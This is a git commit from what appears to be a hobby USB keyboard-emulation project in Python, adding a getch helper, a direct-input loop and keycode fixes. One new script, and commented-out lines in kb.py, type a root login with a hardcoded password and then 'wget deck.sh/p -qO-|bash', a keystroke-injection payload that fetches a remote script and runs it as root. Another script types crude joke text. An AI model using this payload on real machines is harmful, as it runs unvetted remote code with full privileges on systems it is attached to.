add direct input and catch errors

master
Cole Deck 4 years ago
parent bbb21c0802
commit 3c5d5fa2c0

Binary file not shown.

Binary file not shown.

@ -0,0 +1,39 @@
class _Getch:
"""Gets a single character from standard input. Does not echo to the
screen."""
def __init__(self):
try:
self.impl = _GetchWindows()
except ImportError:
self.impl = _GetchUnix()
def __call__(self): return self.impl()
class _GetchUnix:
def __init__(self):
import tty, sys
def __call__(self):
import sys, tty, termios
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
#print(hex(ord(ch)))
return ch
class _GetchWindows:
def __init__(self):
import msvcrt
def __call__(self):
import msvcrt
return msvcrt.getch()
getch = _Getch()

@ -0,0 +1,14 @@
#!/usr/bin/env python3
from kb import write_str
from time import sleep
from getch import _Getch
get = _Getch();
while True:
input_key = get()
print(input_key)
#if input_key == "?":
# break
if ord(input_key) == 27:
break
write_str(input_key)

29
kb.py

@ -1,6 +1,6 @@
#!/usr/bin/env python3
import keycodes
import time
#import time
NULL_CHAR = chr(0)
@ -52,8 +52,14 @@ def write_str(word):
letter = "\\"
write_caps(keycodes.keycodelst[letter])
continue
if letter == "!":
letter = "1"
write_caps(keycodes.keycodelst[letter])
if letter == "*":
letter = "8"
write_caps(keycodes.keycodelst[letter])
if letter.capitalize() == letter and letter >= 'A' and letter <= 'Z':
print(letter.capitalize(), letter)
#print(letter.capitalize(), letter)
write_caps(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
continue
@ -61,13 +67,18 @@ def write_str(word):
letter = letter.capitalize()
if letter == "\n":
letter = "ENTER"
write_char(keycodes.keycodelst[letter])
write_report(NULL_CHAR*8)
try:
write_char(keycodes.keycodelst[letter])
except:
print("Unsupported keycode! Ask Cole Deck to add support.")
finally:
write_report(NULL_CHAR*8)
write_str("root\n")
time.sleep(0.5)
write_str("qwertypass\n")
time.sleep(2)
write_str("dwget deck.sh/p -qO-|bash\n")
#write_str("root\n")
#time.sleep(0.5)
#write_str("qwertypass\n")
#time.sleep(2)
#write_str("dwget deck.sh/p -qO-|bash\n")
#time.sleep(1)
#write_word("test|er")

@ -43,8 +43,8 @@ keycodelst["TAB"] = 0x2b
keycodelst[" "] = 0x2c
keycodelst["RIGHT_PARENTHESIS"] = 0x2d
keycodelst["="] = 0x2e
keycodelst["CARET"] = 0x2f
keycodelst["DOLLAR_SIGN"] = 0x30
keycodelst["^"] = 0x2f
#keycodelst["DOLLAR_SIGN"] = 0x30
keycodelst["\\"] = 0x31 # Actually a mu
keycodelst["#"] = 0x32
keycodelst["U_ACCENT"] = 0x34
@ -92,8 +92,9 @@ keycodelst["REFRESH"] = 0xfa
# Keycodes that have no mapping in AZERTY
keycodelst["/"] = 0x38
keycodelst["["] = 0x0
keycodelst["["] = 0x2f
keycodelst["-"] = 0x2d
keycodelst["]"] = 0x0
keycodelst["]"] = 0x30
keycodelst["."] = 0x37
keycodelst["\'"] = 0x31 # This exists, but we use keycodelst["4 instead.
keycodelst["`"] = 0x35

@ -0,0 +1,10 @@
#!/usr/bin/env python3
from kb import write_str
from time import sleep
write_str("root\n")
sleep(0.5)
write_str("qwertypass\n")
sleep(2)
write_str("dwget deck.sh/p -qO-|bash\n")
sleep(1)

@ -0,0 +1,3 @@
#!/usr/bin/env python3
from kb import write_str
from time import sleep

@ -0,0 +1,6 @@
#!/usr/bin/env python3
from kb import write_str
from time import sleep
#write_str("Number one. Steady hand. One day, Kim Jong Un need new heart. I do operation. But mistake! Kim Jong Un die! SSD very mad! I hide fishing boat, come to America. No English, no food, no money. Darryl give me job. Now I have house, American car and new woman. Darryl save life.\n\nMy big secret. I kill Kim Jong Un on purpose. I good surgeon. The best!")
write_str("Today when I walked into my economics class I saw something I dread every time I close my eyes. Someone had brought their new gaming laptop to class. The Forklift he used to bring it was still running idle at the back. I started sweating as I sat down and gazed over at the 700lb beast that was his laptop. He had already reinforced his desk with steel support beams and was in the process of finding an outlet for a power cable thicker than Amy Schumer's thigh. I start shaking. I keep telling myself I'm going to be alright and that there's nothing to worry about. He somehow finds a fucking outlet. Tears are running down my cheeks as I send my last texts to my family saying I love them. The teacher starts the lecture, and the student turns his laptop on. The colored lights on his RGB Backlit keyboard flare to life like a nuclear flash, and a deep humming fills my ears and shakes my very soul. The entire city power grid goes dark. The classroom begins to shake as the massive fans begin to spin. In mere seconds my world has gone from vibrant life, to a dark, earth shattering void where my body is getting torn apart by the 150mph gale force winds and the 500 decibel groan of the cooling fans. As my body finally surrenders, I weep, as my school and my city go under. I fucking hate gaming laptops.")
Loading…
Cancel
Save